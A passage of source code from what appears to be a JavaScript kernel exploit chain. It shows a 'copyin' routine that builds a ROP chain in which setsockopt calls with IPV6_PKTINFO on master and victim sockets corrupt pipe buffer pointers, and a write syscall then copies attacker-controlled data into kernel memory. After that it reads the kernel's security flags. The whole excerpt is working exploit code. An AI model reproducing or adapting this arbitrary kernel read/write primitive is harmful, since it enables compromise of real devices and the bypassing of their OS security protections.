(dest, source, length)
| 1153 | } |
| 1154 | |
| 1155 | let copyin = async function(dest, source, length) { |
| 1156 | if (typeof copyin.value == 'undefined') { |
| 1157 | copyin.value = new int64(0x00000000, 0x40000000); |
| 1158 | } |
| 1159 | |
| 1160 | chain.push_write8(write_victim_buf_store.add32(0x00), pipe_addr.add32(0x00)); |
| 1161 | chain.push_write8(write_victim_buf_store.add32(0x08), 0); |
| 1162 | chain.push_write4(write_victim_buf_store.add32(0x10), 0); |
| 1163 | chain.push_write8(write_buf_store.add32(0x00), 0); |
| 1164 | chain.push_write8(write_buf_store.add32(0x08), copyin.value); |
| 1165 | chain.push_write4(write_buf_store.add32(0x10), 0); |
| 1166 | await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_victim_buf_store, 0x14); |
| 1167 | await chain.add_syscall(SYSCALL_SETSOCKOPT, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_buf_store, 0x14); |
| 1168 | |
| 1169 | chain.push_write8(write_victim_buf_store.add32(0x00), pipe_addr.add32(0x10)); |
| 1170 | chain.push_write8(write_victim_buf_store.add32(0x08), 0); |
| 1171 | chain.push_write4(write_victim_buf_store.add32(0x10), 0); |
| 1172 | chain.push_write8(write_buf_store.add32(0x00), dest); |
| 1173 | chain.push_write8(write_buf_store.add32(0x08), 0); |
| 1174 | chain.push_write4(write_buf_store.add32(0x10), 0); |
| 1175 | await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_victim_buf_store, 0x14); |
| 1176 | await chain.add_syscall(SYSCALL_SETSOCKOPT, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_buf_store, 0x14); |
| 1177 | |
| 1178 | await chain.add_syscall(SYSCALL_WRITE, pipe_write, source, length); |
| 1179 | await chain.run(); |
| 1180 | } |
| 1181 | |
| 1182 | await kread(data_base_addr.add32(OFFSET_KERNEL_DATA_BASE_SECURITYFLAGS)); |
| 1183 | let security_flags = p.read4(read_buf_store); |
no test coverage detected